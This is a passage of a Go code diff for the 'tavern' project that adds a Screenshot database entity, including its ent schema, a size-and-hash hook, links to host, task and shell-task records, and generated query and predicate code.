"golang.org/x/crypto/sha3" + "realm.pub/tavern/internal/ent/hook" + + "entgo.io/contrib/entgql" + "entgo.io/ent" + "entgo.io/ent/dialect" + "entgo.io/ent/dialect/entsql" + "entgo.io/ent/schema" + "entgo.io/ent/schema/edge" + "entgo.io/ent/schema/field" +) + +// Screenshot holds the schema definition for the Screenshot entity. +type Screenshot struct { + ent.Schema +} + +// Fields of the Screenshot. +func (Screenshot) Fields() []ent.Field { + return []ent.Field{ + field.String("name"). + NotEmpty(). + Annotations( + entgql.OrderField("NAME"), + ). + Comment("Name of the screenshot file (e.g. screenshot___.png)."), + field.Uint64("size"). + Default(0). + Min(0). + Annotations( + entgql.Type("Uint64"), + entgql.OrderField("SIZE"), + ). + Comment("The size of the screenshot in bytes"), + field.String("hash"). + Optional(). + MaxLen(100). + Comment("A SHA3-256 digest of the content field"), + field.Bytes("content"). + Optional(). + SchemaType(map[string]string{ + dialect.MySQL: "LONGBLOB", // Override MySQL, improve length maximum + }). + Annotations( + entgql.Skip(), // Don't return content in GraphQL + ). + Comment("The content of the screenshot"), + } +} + +// Edges of the Screenshot. +func (Screenshot) Edges() []ent.Edge { + return []ent.Edge{ + edge.To("host", Host.Type). + Required(). + Unique(). + Annotations( + entsql.OnDelete(entsql.Cascade), + ). + Comment("Host the screenshot was taken on."), + edge.From("task", Task.Type). + Unique(). + Ref("screenshots"). + Annotations( + entsql.OnDelete(entsql.Cascade), + ). + Comment("Task that reported this screenshot."), + edge.From("shell_task", ShellTask.Type). + Unique(). + Ref("screenshots"). + Annotations( + entsql.OnDelete(entsql.Cascade), + ). + Comment("Shell Task that reported this screenshot."), + } +} + +// Annotations describes additional information for the ent. +func (Screenshot) Annotations() []schema.Annotation { + return []schema.Annotation{ + entgql.RelayConnection(), + entgql.MultiOrder(), + entsql.Annotation{ + Collation: "utf8mb4_general_ci", + }, + } +} + +// Mixin defines common shared properties for the ent. +func (Screenshot) Mixin() []ent.Mixin { + return []ent.Mixin{ + MixinHistory{}, // created_at, last_modified_at + } +} + +// Hooks defines middleware for mutations for the ent. +func (Screenshot) Hooks() []ent.Hook { + return []ent.Hook{ + hook.On(HookDeriveScreenshotInfo(), ent.OpCreate|ent.OpUpdate|ent.OpUpdateOne), + } +} + +// HookDeriveScreenshotInfo will update file info (e.g. size, hash) whenever it is mutated. +func HookDeriveScreenshotInfo() ent.Hook { + type sMutation interface { + Content() ([]byte, bool) + SetSize(i uint64) + SetHash(s string) + } + + return func(next ent.Mutator) ent.Mutator { + return ent.MutateFunc(func(ctx context.Context, m ent.Mutation) (ent.Value, error) { + s, ok := m.(sMutation) + if !ok { + return nil, fmt.Errorf("expected screenshot mutation in schema hook, got: %+v", m) + } + + // Set the new size + content, _ := s.Content() + s.SetSize(uint64(len(content))) + + // Set the new hash (if content exists) + if len(content) > 0 { + s.SetHash(fmt.Sprintf("%x", sha3.Sum256(content))) + } + + return next.Mutate(ctx, m) + }) + } +} diff --git a/tavern/internal/ent/schema/shell_task.go b/tavern/internal/ent/schema/shell_task.go index 3833443dc..3bd597be5 100644 --- a/tavern/internal/ent/schema/shell_task.go +++ b/tavern/internal/ent/schema/shell_task.go @@ -87,6 +87,11 @@ func (ShellTask) Edges() []ent.Edge { entsql.OnDelete(entsql.Cascade), ). Comment("Processes reported by this shell task"), + edge.To("screenshots", Screenshot.Type). + Annotations( + entsql.OnDelete(entsql.Cascade), + ). + Comment("Screenshots reported by this shell task"), } } diff --git a/tavern/internal/ent/schema/task.go b/tavern/internal/ent/schema/task.go index 6194c2f47..6ec40320d 100644 --- a/tavern/internal/ent/schema/task.go +++ b/tavern/internal/ent/schema/task.go @@ -103,6 +103,12 @@ func (Task) Edges() []ent.Edge { entgql.MultiOrder(), ). Comment("Shells that were created by this task"), + edge.To("screenshots", Screenshot.Type). + Annotations( + entgql.RelayConnection(), + entgql.MultiOrder(), + ). + Comment("Screenshots that have been reported by this task."), } } diff --git a/tavern/internal/ent/screenshot.go b/tavern/internal/ent/screenshot.go new file mode 100644 index 000000000..bd057afa4 --- /dev/null +++ b/tavern/internal/ent/screenshot.go @@ -0,0 +1,262 @@ +// Code generated by ent, DO NOT EDIT. + +package ent + +import ( + "fmt" + "strings" + "time" + + "entgo.io/ent" + "entgo.io/ent/dialect/sql" + "realm.pub/tavern/internal/ent/host" + "realm.pub/tavern/internal/ent/screenshot" + "realm.pub/tavern/internal/ent/shelltask" + "realm.pub/tavern/internal/ent/task" +) + +// Screenshot is the model entity for the Screenshot schema. +type Screenshot struct { + config `json:"-"` + // ID of the ent. + ID int `json:"id,omitempty"` + // Timestamp of when this ent was created + CreatedAt time.Time `json:"created_at,omitempty"` + // Timestamp of when this ent was last updated + LastModifiedAt time.Time `json:"last_modified_at,omitempty"` + // Name of the screenshot file (e.g. screenshot___.png). + Name string `json:"name,omitempty"` + // The size of the screenshot in bytes + Size uint64 `json:"size,omitempty"` + // A SHA3-256 digest of the content field + Hash string `json:"hash,omitempty"` + // The content of the screenshot + Content []byte `json:"content,omitempty"` + // Edges holds the relations/edges for other nodes in the graph. + // The values are being populated by the ScreenshotQuery when eager-loading is set. + Edges ScreenshotEdges `json:"edges"` + screenshot_host *int + shell_task_screenshots *int + task_screenshots *int + selectValues sql.SelectValues +} + +// ScreenshotEdges holds the relations/edges for other nodes in the graph. +type ScreenshotEdges struct { + // Host the screenshot was taken on. + Host *Host `json:"host,omitempty"` + // Task that reported this screenshot. + Task *Task `json:"task,omitempty"` + // Shell Task that reported this screenshot. + ShellTask *ShellTask `json:"shell_task,omitempty"` + // loadedTypes holds the information for reporting if a + // type was loaded (or requested) in eager-loading or not. + loadedTypes [3]bool + // totalCount holds the count of the edges above. + totalCount [3]map[string]int +} + +// HostOrErr returns the Host value or an error if the edge +// was not loaded in eager-loading, or loaded but was not found. +func (e ScreenshotEdges) HostOrErr() (*Host, error) { + if e.Host != nil { + return e.Host, nil + } else if e.loadedTypes[0] { + return nil, &NotFoundError{label: host.Label} + } + return nil, &NotLoadedError{edge: "host"} +} + +// TaskOrErr returns the Task value or an error if the edge +// was not loaded in eager-loading, or loaded but was not found. +func (e ScreenshotEdges) TaskOrErr() (*Task, error) { + if e.Task != nil { + return e.Task, nil + } else if e.loadedTypes[1] { + return nil, &NotFoundError{label: task.Label} + } + return nil, &NotLoadedError{edge: "task"} +} + +// ShellTaskOrErr returns the ShellTask value or an error if the edge +// was not loaded in eager-loading, or loaded but was not found. +func (e ScreenshotEdges) ShellTaskOrErr() (*ShellTask, error) { + if e.ShellTask != nil { + return e.ShellTask, nil + } else if e.loadedTypes[2] { + return nil, &NotFoundError{label: shelltask.Label} + } + return nil, &NotLoadedError{edge: "shell_task"} +} + +// scanValues returns the types for scanning values from sql.Rows. +func (*Screenshot) scanValues(columns []string) ([]any, error) { + values := make([]any, len(columns)) + for i := range columns { + switch columns[i] { + case screenshot.FieldContent: + values[i] = new([]byte) + case screenshot.FieldID, screenshot.FieldSize: + values[i] = new(sql.NullInt64) + case screenshot.FieldName, screenshot.FieldHash: + values[i] = new(sql.NullString) + case screenshot.FieldCreatedAt, screenshot.FieldLastModifiedAt: + values[i] = new(sql.NullTime) + case screenshot.ForeignKeys[0]: // screenshot_host + values[i] = new(sql.NullInt64) + case screenshot.ForeignKeys[1]: // shell_task_screenshots + values[i] = new(sql.NullInt64) + case screenshot.ForeignKeys[2]: // task_screenshots + values[i] = new(sql.NullInt64) + default: + values[i] = new(sql.UnknownType) + } + } + return values, nil +} + +// assignValues assigns the values that were returned from sql.Rows (after scanning) +// to the Screenshot fields. +func (s *Screenshot) assignValues(columns []string, values []any) error { + if m, n := len(values), len(columns); m < n { + return fmt.Errorf("mismatch number of scan values: %d != %d", m, n) + } + for i := range columns { + switch columns[i] { + case screenshot.FieldID: + value, ok := values[i].(*sql.NullInt64) + if !ok { + return fmt.Errorf("unexpected type %T for field id", value) + } + s.ID = int(value.Int64) + case screenshot.FieldCreatedAt: + if value, ok := values[i].(*sql.NullTime); !ok { + return fmt.Errorf("unexpected type %T for field created_at", values[i]) + } else if value.Valid { + s.CreatedAt = value.Time + } + case screenshot.FieldLastModifiedAt: + if value, ok := values[i].(*sql.NullTime); !ok { + return fmt.Errorf("unexpected type %T for field last_modified_at", values[i]) + } else if value.Valid { + s.LastModifiedAt = value.Time + } + case screenshot.FieldName: + if value, ok := values[i].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field name", values[i]) + } else if value.Valid { + s.Name = value.String + } + case screenshot.FieldSize: + if value, ok := values[i].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for field size", values[i]) + } else if value.Valid { + s.Size = uint64(value.Int64) + } + case screenshot.FieldHash: + if value, ok := values[i].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field hash", values[i]) + } else if value.Valid { + s.Hash = value.String + } + case screenshot.FieldContent: + if value, ok := values[i].(*[]byte); !ok { + return fmt.Errorf("unexpected type %T for field content", values[i]) + } else if value != nil { + s.Content = *value + } + case screenshot.ForeignKeys[0]: + if value, ok := values[i].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for edge-field screenshot_host", value) + } else if value.Valid { + s.screenshot_host = new(int) + *s.screenshot_host = int(value.Int64) + } + case screenshot.ForeignKeys[1]: + if value, ok := values[i].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for edge-field shell_task_screenshots", value) + } else if value.Valid { + s.shell_task_screenshots = new(int) + *s.shell_task_screenshots = int(value.Int64) + } + case screenshot.ForeignKeys[2]: + if value, ok := values[i].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for edge-field task_screenshots", value) + } else if value.Valid { + s.task_screenshots = new(int) + *s.task_screenshots = int(value.Int64) + } + default: + s.selectValues.Set(columns[i], values[i]) + } + } + return nil +} + +// Value returns the ent.Value that was dynamically selected and assigned to the Screenshot. +// This includes values selected through modifiers, order, etc. +func (s *Screenshot) Value(name string) (ent.Value, error) { + return s.selectValues.Get(name) +} + +// QueryHost queries the "host" edge of the Screenshot entity. +func (s *Screenshot) QueryHost() *HostQuery { + return NewScreenshotClient(s.config).QueryHost(s) +} + +// QueryTask queries the "task" edge of the Screenshot entity. +func (s *Screenshot) QueryTask() *TaskQuery { + return NewScreenshotClient(s.config).QueryTask(s) +} + +// QueryShellTask queries the "shell_task" edge of the Screenshot entity. +func (s *Screenshot) QueryShellTask() *ShellTaskQuery { + return NewScreenshotClient(s.config).QueryShellTask(s) +} + +// Update returns a builder for updating this Screenshot. +// Note that you need to call Screenshot.Unwrap() before calling this method if this Screenshot +// was returned from a transaction, and the transaction was committed or rolled back. +func (s *Screenshot) Update() *ScreenshotUpdateOne { + return NewScreenshotClient(s.config).UpdateOne(s) +} + +// Unwrap unwraps the Screenshot entity that was returned from a transaction after it was closed, +// so that all future queries will be executed through the driver which created the transaction. +func (s *Screenshot) Unwrap() *Screenshot { + _tx, ok := s.config.driver.(*txDriver) + if !ok { + panic("ent: Screenshot is not a transactional entity") + } + s.config.driver = _tx.drv + return s +} + +// String implements the fmt.Stringer. +func (s *Screenshot) String() string { + var builder strings.Builder + builder.WriteString("Screenshot(") + builder.WriteString(fmt.Sprintf("id=%v, ", s.ID)) + builder.WriteString("created_at=") + builder.WriteString(s.CreatedAt.Format(time.ANSIC)) + builder.WriteString(", ") + builder.WriteString("last_modified_at=") + builder.WriteString(s.LastModifiedAt.Format(time.ANSIC)) + builder.WriteString(", ") + builder.WriteString("name=") + builder.WriteString(s.Name) + builder.WriteString(", ") + builder.WriteString("size=") + builder.WriteString(fmt.Sprintf("%v", s.Size)) + builder.WriteString(", ") + builder.WriteString("hash=") + builder.WriteString(s.Hash) + builder.WriteString(", ") + builder.WriteString("content=") + builder.WriteString(fmt.Sprintf("%v", s.Content)) + builder.WriteByte(')') + return builder.String() +} + +// Screenshots is a parsable slice of Screenshot. +type Screenshots []*Screenshot diff --git a/tavern/internal/ent/screenshot/screenshot.go b/tavern/internal/ent/screenshot/screenshot.go new file mode 100644 index 000000000..dcd35c752 --- /dev/null +++ b/tavern/internal/ent/screenshot/screenshot.go @@ -0,0 +1,191 @@ +// Code generated by ent, DO NOT EDIT. + +package screenshot + +import ( + "time" + + "entgo.io/ent" + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" +) + +const ( + // Label holds the string label denoting the screenshot type in the database. + Label = "screenshot" + // FieldID holds the string denoting the id field in the database. + FieldID = "id" + // FieldCreatedAt holds the string denoting the created_at field in the database. + FieldCreatedAt = "created_at" + // FieldLastModifiedAt holds the string denoting the last_modified_at field in the database. + FieldLastModifiedAt = "last_modified_at" + // FieldName holds the string denoting the name field in the database. + FieldName = "name" + // FieldSize holds the string denoting the size field in the database. + FieldSize = "size" + // FieldHash holds the string denoting the hash field in the database. + FieldHash = "hash" + // FieldContent holds the string denoting the content field in the database. + FieldContent = "content" + // EdgeHost holds the string denoting the host edge name in mutations. + EdgeHost = "host" + // EdgeTask holds the string denoting the task edge name in mutations. + EdgeTask = "task" + // EdgeShellTask holds the string denoting the shell_task edge name in mutations. + EdgeShellTask = "shell_task" + // Table holds the table name of the screenshot in the database. + Table = "screenshots" + // HostTable is the table that holds the host relation/edge. + HostTable = "screenshots" + // HostInverseTable is the table name for the Host entity. + // It exists in this package in order to avoid circular dependency with the "host" package. + HostInverseTable = "hosts" + // HostColumn is the table column denoting the host relation/edge. + HostColumn = "screenshot_host" + // TaskTable is the table that holds the task relation/edge. + TaskTable = "screenshots" + // TaskInverseTable is the table name for the Task entity. + // It exists in this package in order to avoid circular dependency with the "task" package. + TaskInverseTable = "tasks" + // TaskColumn is the table column denoting the task relation/edge. + TaskColumn = "task_screenshots" + // ShellTaskTable is the table that holds the shell_task relation/edge. + ShellTaskTable = "screenshots" + // ShellTaskInverseTable is the table name for the ShellTask entity. + // It exists in this package in order to avoid circular dependency with the "shelltask" package. + ShellTaskInverseTable = "shell_tasks" + // ShellTaskColumn is the table column denoting the shell_task relation/edge. + ShellTaskColumn = "shell_task_screenshots" +) + +// Columns holds all SQL columns for screenshot fields. +var Columns = []string{ + FieldID, + FieldCreatedAt, + FieldLastModifiedAt, + FieldName, + FieldSize, + FieldHash, + FieldContent, +} + +// ForeignKeys holds the SQL foreign-keys that are owned by the "screenshots" +// table and are not defined as standalone fields in the schema. +var ForeignKeys = []string{ + "screenshot_host", + "shell_task_screenshots", + "task_screenshots", +} + +// ValidColumn reports if the column name is valid (part of the table columns). +func ValidColumn(column string) bool { + for i := range Columns { + if column == Columns[i] { + return true + } + } + for i := range ForeignKeys { + if column == ForeignKeys[i] { + return true + } + } + return false +} + +// Note that the variables below are initialized by the runtime +// package on the initialization of the application. Therefore, +// it should be imported in the main as follows: +// +// import _ "realm.pub/tavern/internal/ent/runtime" +var ( + Hooks [1]ent.Hook + // DefaultCreatedAt holds the default value on creation for the "created_at" field. + DefaultCreatedAt func() time.Time + // DefaultLastModifiedAt holds the default value on creation for the "last_modified_at" field. + DefaultLastModifiedAt func() time.Time + // UpdateDefaultLastModifiedAt holds the default value on update for the "last_modified_at" field. + UpdateDefaultLastModifiedAt func() time.Time + // NameValidator is a validator for the "name" field. It is called by the builders before save. + NameValidator func(string) error + // DefaultSize holds the default value on creation for the "size" field. + DefaultSize uint64 + // SizeValidator is a validator for the "size" field. It is called by the builders before save. + SizeValidator func(uint64) error + // HashValidator is a validator for the "hash" field. It is called by the builders before save. + HashValidator func(string) error +) + +// OrderOption defines the ordering options for the Screenshot queries. +type OrderOption func(*sql.Selector) + +// ByID orders the results by the id field. +func ByID(opts ...sql.OrderTermOption) OrderOption { + return sql.OrderByField(FieldID, opts...).ToFunc() +} + +// ByCreatedAt orders the results by the created_at field. +func ByCreatedAt(opts ...sql.OrderTermOption) OrderOption { + return sql.OrderByField(FieldCreatedAt, opts...).ToFunc() +} + +// ByLastModifiedAt orders the results by the last_modified_at field. +func ByLastModifiedAt(opts ...sql.OrderTermOption) OrderOption { + return sql.OrderByField(FieldLastModifiedAt, opts...).ToFunc() +} + +// ByName orders the results by the name field. +func ByName(opts ...sql.OrderTermOption) OrderOption { + return sql.OrderByField(FieldName, opts...).ToFunc() +} + +// BySize orders the results by the size field. +func BySize(opts ...sql.OrderTermOption) OrderOption { + return sql.OrderByField(FieldSize, opts...).ToFunc() +} + +// ByHash orders the results by the hash field. +func ByHash(opts ...sql.OrderTermOption) OrderOption { + return sql.OrderByField(FieldHash, opts...).ToFunc() +} + +// ByHostField orders the results by host field. +func ByHostField(field string, opts ...sql.OrderTermOption) OrderOption { + return func(s *sql.Selector) { + sqlgraph.OrderByNeighborTerms(s, newHostStep(), sql.OrderByField(field, opts...)) + } +} + +// ByTaskField orders the results by task field. +func ByTaskField(field string, opts ...sql.OrderTermOption) OrderOption { + return func(s *sql.Selector) { + sqlgraph.OrderByNeighborTerms(s, newTaskStep(), sql.OrderByField(field, opts...)) + } +} + +// ByShellTaskField orders the results by shell_task field. +func ByShellTaskField(field string, opts ...sql.OrderTermOption) OrderOption { + return func(s *sql.Selector) { + sqlgraph.OrderByNeighborTerms(s, newShellTaskStep(), sql.OrderByField(field, opts...)) + } +} +func newHostStep() *sqlgraph.Step { + return sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(HostInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, HostTable, HostColumn), + ) +} +func newTaskStep() *sqlgraph.Step { + return sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(TaskInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.M2O, true, TaskTable, TaskColumn), + ) +} +func newShellTaskStep() *sqlgraph.Step { + return sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ShellTaskInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.M2O, true, ShellTaskTable, ShellTaskColumn), + ) +} diff --git a/tavern/internal/ent/screenshot/where.go b/tavern/internal/ent/screenshot/where.go new file mode 100644 index 000000000..69e9c43de --- /dev/null +++ b/tavern/internal/ent/screenshot/where.go @@ -0,0 +1,480 @@ +// Code generated by ent, DO NOT EDIT. + +package screenshot + +import ( + "time" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "realm.pub/tavern/internal/ent/predicate" +) + +// ID filters vertices based on their ID field. +func ID(id int) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldID, id)) +} + +// IDEQ applies the EQ predicate on the ID field. +func IDEQ(id int) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldID, id)) +} + +// IDNEQ applies the NEQ predicate on the ID field. +func IDNEQ(id int) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNEQ(FieldID, id)) +} + +// IDIn applies the In predicate on the ID field. +func IDIn(ids ...int) predicate.Screenshot { + return predicate.Screenshot(sql.FieldIn(FieldID, ids...)) +} + +// IDNotIn applies the NotIn predicate on the ID field. +func IDNotIn(ids ...int) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNotIn(FieldID, ids...)) +} + +// IDGT applies the GT predicate on the ID field. +func IDGT(id int) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGT(FieldID, id)) +} + +// IDGTE applies the GTE predicate on the ID field. +func IDGTE(id int) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGTE(FieldID, id)) +} + +// IDLT applies the LT predicate on the ID field. +func IDLT(id int) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLT(FieldID, id)) +} + +// IDLTE applies the LTE predicate on the ID field. +func IDLTE(id int) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLTE(FieldID, id)) +} + +// CreatedAt applies equality check predicate on the "created_at" field. It's identical to CreatedAtEQ. +func CreatedAt(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldCreatedAt, v)) +} + +// LastModifiedAt applies equality check predicate on the "last_modified_at" field. It's identical to LastModifiedAtEQ. +func LastModifiedAt(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldLastModifiedAt, v)) +} + +// Name applies equality check predicate on the "name" field. It's identical to NameEQ. +func Name(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldName, v)) +} + +// Size applies equality check predicate on the "size" field. It's identical to SizeEQ. +func Size(v uint64) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldSize, v)) +} + +// Hash applies equality check predicate on the "hash" field. It's identical to HashEQ. +func Hash(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldHash, v)) +} + +// Content applies equality check predicate on the "content" field. It's identical to ContentEQ. +func Content(v []byte) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldContent, v)) +} + +// CreatedAtEQ applies the EQ predicate on the "created_at" field. +func CreatedAtEQ(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldCreatedAt, v)) +} + +// CreatedAtNEQ applies the NEQ predicate on the "created_at" field. +func CreatedAtNEQ(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNEQ(FieldCreatedAt, v)) +} + +// CreatedAtIn applies the In predicate on the "created_at" field. +func CreatedAtIn(vs ...time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldIn(FieldCreatedAt, vs...)) +} + +// CreatedAtNotIn applies the NotIn predicate on the "created_at" field. +func CreatedAtNotIn(vs ...time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNotIn(FieldCreatedAt, vs...)) +} + +// CreatedAtGT applies the GT predicate on the "created_at" field. +func CreatedAtGT(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGT(FieldCreatedAt, v)) +} + +// CreatedAtGTE applies the GTE predicate on the "created_at" field. +func CreatedAtGTE(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGTE(FieldCreatedAt, v)) +} + +// CreatedAtLT applies the LT predicate on the "created_at" field. +func CreatedAtLT(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLT(FieldCreatedAt, v)) +} + +// CreatedAtLTE applies the LTE predicate on the "created_at" field. +func CreatedAtLTE(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLTE(FieldCreatedAt, v)) +} + +// LastModifiedAtEQ applies the EQ predicate on the "last_modified_at" field. +func LastModifiedAtEQ(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldLastModifiedAt, v)) +} + +// LastModifiedAtNEQ applies the NEQ predicate on the "last_modified_at" field. +func LastModifiedAtNEQ(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNEQ(FieldLastModifiedAt, v)) +} + +// LastModifiedAtIn applies the In predicate on the "last_modified_at" field. +func LastModifiedAtIn(vs ...time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldIn(FieldLastModifiedAt, vs...)) +} + +// LastModifiedAtNotIn applies the NotIn predicate on the "last_modified_at" field. +func LastModifiedAtNotIn(vs ...time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNotIn(FieldLastModifiedAt, vs...)) +} + +// LastModifiedAtGT applies the GT predicate on the "last_modified_at" field. +func LastModifiedAtGT(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGT(FieldLastModifiedAt, v)) +} + +// LastModifiedAtGTE applies the GTE predicate on the "last_modified_at" field. +func LastModifiedAtGTE(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGTE(FieldLastModifiedAt, v)) +} + +// LastModifiedAtLT applies the LT predicate on the "last_modified_at" field. +func LastModifiedAtLT(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLT(FieldLastModifiedAt, v)) +} + +// LastModifiedAtLTE applies the LTE predicate on the "last_modified_at" field. +func LastModifiedAtLTE(v time.Time) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLTE(FieldLastModifiedAt, v)) +} + +// NameEQ applies the EQ predicate on the "name" field. +func NameEQ(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldName, v)) +} + +// NameNEQ applies the NEQ predicate on the "name" field. +func NameNEQ(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNEQ(FieldName, v)) +} + +// NameIn applies the In predicate on the "name" field. +func NameIn(vs ...string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldIn(FieldName, vs...)) +} + +// NameNotIn applies the NotIn predicate on the "name" field. +func NameNotIn(vs ...string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNotIn(FieldName, vs...)) +} + +// NameGT applies the GT predicate on the "name" field. +func NameGT(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGT(FieldName, v)) +} + +// NameGTE applies the GTE predicate on the "name" field. +func NameGTE(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGTE(FieldName, v)) +} + +// NameLT applies the LT predicate on the "name" field. +func NameLT(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLT(FieldName, v)) +} + +// NameLTE applies the LTE predicate on the "name" field. +func NameLTE(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLTE(FieldName, v)) +} + +// NameContains applies the Contains predicate on the "name" field. +func NameContains(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldContains(FieldName, v)) +} + +// NameHasPrefix applies the HasPrefix predicate on the "name" field. +func NameHasPrefix(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldHasPrefix(FieldName, v)) +} + +// NameHasSuffix applies the HasSuffix predicate on the "name" field. +func NameHasSuffix(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldHasSuffix(FieldName, v)) +} + +// NameEqualFold applies the EqualFold predicate on the "name" field. +func NameEqualFold(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEqualFold(FieldName, v)) +} + +// NameContainsFold applies the ContainsFold predicate on the "name" field. +func NameContainsFold(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldContainsFold(FieldName, v)) +} + +// SizeEQ applies the EQ predicate on the "size" field. +func SizeEQ(v uint64) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldSize, v)) +} + +// SizeNEQ applies the NEQ predicate on the "size" field. +func SizeNEQ(v uint64) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNEQ(FieldSize, v)) +} + +// SizeIn applies the In predicate on the "size" field. +func SizeIn(vs ...uint64) predicate.Screenshot { + return predicate.Screenshot(sql.FieldIn(FieldSize, vs...)) +} + +// SizeNotIn applies the NotIn predicate on the "size" field. +func SizeNotIn(vs ...uint64) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNotIn(FieldSize, vs...)) +} + +// SizeGT applies the GT predicate on the "size" field. +func SizeGT(v uint64) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGT(FieldSize, v)) +} + +// SizeGTE applies the GTE predicate on the "size" field. +func SizeGTE(v uint64) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGTE(FieldSize, v)) +} + +// SizeLT applies the LT predicate on the "size" field. +func SizeLT(v uint64) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLT(FieldSize, v)) +} + +// SizeLTE applies the LTE predicate on the "size" field. +func SizeLTE(v uint64) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLTE(FieldSize, v)) +} + +// HashEQ applies the EQ predicate on the "hash" field. +func HashEQ(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEQ(FieldHash, v)) +} + +// HashNEQ applies the NEQ predicate on the "hash" field. +func HashNEQ(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNEQ(FieldHash, v)) +} + +// HashIn applies the In predicate on the "hash" field. +func HashIn(vs ...string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldIn(FieldHash, vs...)) +} + +// HashNotIn applies the NotIn predicate on the "hash" field. +func HashNotIn(vs ...string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldNotIn(FieldHash, vs...)) +} + +// HashGT applies the GT predicate on the "hash" field. +func HashGT(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGT(FieldHash, v)) +} + +// HashGTE applies the GTE predicate on the "hash" field. +func HashGTE(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldGTE(FieldHash, v)) +} + +// HashLT applies the LT predicate on the "hash" field. +func HashLT(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLT(FieldHash, v)) +} + +// HashLTE applies the LTE predicate on the "hash" field. +func HashLTE(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldLTE(FieldHash, v)) +} + +// HashContains applies the Contains predicate on the "hash" field. +func HashContains(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldContains(FieldHash, v)) +} + +// HashHasPrefix applies the HasPrefix predicate on the "hash" field. +func HashHasPrefix(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldHasPrefix(FieldHash, v)) +} + +// HashHasSuffix applies the HasSuffix predicate on the "hash" field. +func HashHasSuffix(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldHasSuffix(FieldHash, v)) +} + +// HashIsNil applies the IsNil predicate on the "hash" field. +func HashIsNil() predicate.Screenshot { + return predicate.Screenshot(sql.FieldIsNull(FieldHash)) +} + +// HashNotNil applies the NotNil predicate on the "hash" field. +func HashNotNil() predicate.Screenshot { + return predicate.Screenshot(sql.FieldNotNull(FieldHash)) +} + +// HashEqualFold applies the EqualFold predicate on the "hash" field. +func HashEqualFold(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldEqualFold(FieldHash, v)) +} + +// HashContainsFold applies the ContainsFold predicate on the "hash" field. +func HashContainsFold(v string) predicate.Screenshot { + return predicate.Screenshot(sql.FieldContainsFold(FieldHash, v)) +} + +// 